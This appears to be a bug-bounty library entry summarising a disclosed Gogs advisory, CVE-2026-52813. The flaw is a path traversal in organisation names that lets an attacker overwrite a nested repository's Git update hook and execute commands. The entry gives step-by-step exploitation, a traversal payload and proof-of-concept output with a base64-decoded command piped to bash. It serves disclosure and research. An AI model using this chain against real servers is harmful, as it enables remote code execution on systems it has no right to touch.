# Gogs has Path Traversal in organization name that results in RCE through Git hooks

Unsantized org names with ../ in Gogs let attackers write a nested repo into another repo's local worktree, overwriting hooks/update for RCE as git.

- Payout: Research
- Severity: critical
- Program: Gogs
- Found by: Aikido-Security, JorianWoltjer, reindaelman, grumpinout1
- Disclosed: 2026-06-23
- CVE: CVE-2026-52813
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-c39w-43gm-34h5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c39w-43gm-34h5
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** Gogs organization creation and repository storage paths
**Root cause:** Organization creation calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name, so ../ sequences in the org name place repository storage at arbitrary filesystem paths.
**Steps:**
1. Create a regular outer repository and note its ID (e.g. 1).
2. Create an organization named `../../../../data/gogs/data/tmp/local-r/1/nested`.
3. Create a repository `rce` inside that organization; it is written into the outer repo's local worktree at `nested/rce.git`.
4. Clone the outer repo and add `nested/rce.git/hooks/update` containing malicious shell commands, then push.
5. Interact with the `rce` repository (e.g. API new file) to trigger the updated hook and execute commands as the git user.
**How found:** Code reading of internal/database/org.go showed os.MkdirAll(repox.UserPath(org.Name)) with no sanitization of org.Name; realizing repo paths derive from the org name led to targeting the local-r worktree directories that Git itself can edit.
**Exploitation:** Attacker self-registers, creates an outer repo, then an org whose name traverses into that repo's local-r worktree, creates a nested repo there, pushes a malicious hooks/update via the outer repo, and triggers the hook by writing to the nested repo, achieving RCE as git.
**Escalation:** Chains path traversal (arbitrary repo storage location) with Git's editable local worktree to overwrite a hook script, converting a file-write primitive into code execution.
**Insight:** When a name controls a filesystem path, look for directories the application itself later treats as editable (like Git local worktrees) so a write primitive becomes hook/script overwrite; nesting a repo inside another's worktree turns traversal into RCE.

## Proof of concept (copied exactly from the original report)

**Org name path traversal payload**

```
Create organization named `../../../../data/gogs/data/tmp/local-r/{ID}/nested`
3. Create a repository inside this organization (eg. `rce`), which will be written into the local clone of the outer repository
```

**Malicious hook update script written via git**

```
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
   b0b9886..3cf84b2  master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned
```

## Write-ups of the same bug (oldest first)
- 2026-06-23: [Gogs has Path Traversal in organization name that results in RCE through Git hooks](https://bugbountylibrary.com/r/ghsa%3AGHSA-c39w-43gm-34h5) — Aikido-Security, JorianWoltjer, reindaelman, grumpinout1 (this one)
- 2026-08-19: [Yet another RCE in Gogs, but it's fixed this time!](https://bugbountylibrary.com/r/blog%3Aaikido-dev-blog-fixed-rce-gogs-cve-2026-52813) — Aikido Security